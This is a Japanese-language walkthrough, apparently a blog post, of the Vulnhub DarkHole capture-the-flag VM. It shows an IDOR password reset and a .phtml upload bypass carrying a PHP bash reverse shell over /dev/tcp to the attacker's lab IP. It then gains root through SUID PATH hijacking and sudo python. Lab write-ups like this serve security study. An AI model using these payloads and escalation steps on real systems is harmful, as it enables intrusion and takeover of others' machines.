Vulnhub DarkHoleのIDOR脆弱性と権限昇格戦略

攻撃環境設定

攻撃マシン: 192.168.216.129 (Kali Linux) ターゲット: 192.168.216.130 VMダウンロード: Vulnhub DarkHole

ネットワークスキャン ポートスキャンで開いているサービスを確認します。

nmap -sV -p- -T4 192.168.216.130

22 (SSH) および 80 (HTTP) ポートが開放されていることが確認されました。

ウェブアプリケーションの脆弱性探索 80番ポートにアクセスするとログイン画面が表示され、ユーザ登録が可能です。

  1. 新規アカウント「test」で登録・ログイン
  2. プロフィール編集画面でIDパラメータを操作
  • 既存ユーザのIDを1に変更(新規ユーザID=2)
  • パスワード変更リクエストを送信

結果、/adminパスの権限が取得できました。IDOR脆弱性の確認が完了したため、adminアカウントで再ログインを試みます。

リバースシェルの確立 アップロード機能に脆弱性があることが判明:

  • .php拡張子は拒否
  • .phtml拡張子は許可

以下のスクリプトをpayload.phtmlとしてアップロード:

<?php system("bash -c 'exec 5<>/dev/tcp/192.168.216.129/4445;cat <&5 | while read line; do \$line 2>&5; done'"); ?>

攻撃マシンでリスナーを起動:

nc -nlvp 4445

アップロードしたファイルを実行:

http://192.168.216.130/upload/payload.phtml

シェルがリバースされ、ユーザーwww-dataで制御可能になりました。

権限昇格手順

  1. システムユーザ確認
grep /bin/bash /etc/passwd
  1. SUIDファイルの調査
find / -perm -u=s -type f 2>/dev/null

/home/john/secret_toolがSUID権限を持つファイルであることが判明。

  1. コマンドハッキングによる昇格
echo 'chmod +s /bin/bash' > id
chmod 777 id
export PATH=/var/www/html/upload:$PATH
/home/john/secret_tool

SUID権限付与に失敗したため、johnユーザとしてログイン:

echo '/bin/bash' > id
/home/john/secret_tool
python3 -c 'import pty;pty.spawn("/bin/bash")'

/home/john/passwordからパスワードroot123を取得。

  1. sudo権限を活用した最終昇格
sudo -l

/home/john/exploit.pyを編集:

import pty
pty.spawn('/bin/bash')

実行:

sudo /usr/bin/python3 /home/john/exploit.py

絶対パスを指定しないと実行できないため、パスを明示的に指定します。これによりroot権限を取得し、/root/flagに存在するフラグを取得できます。

タグ: Vulnhub idor reverse_shell SUID sudo

7月24日 18:04 投稿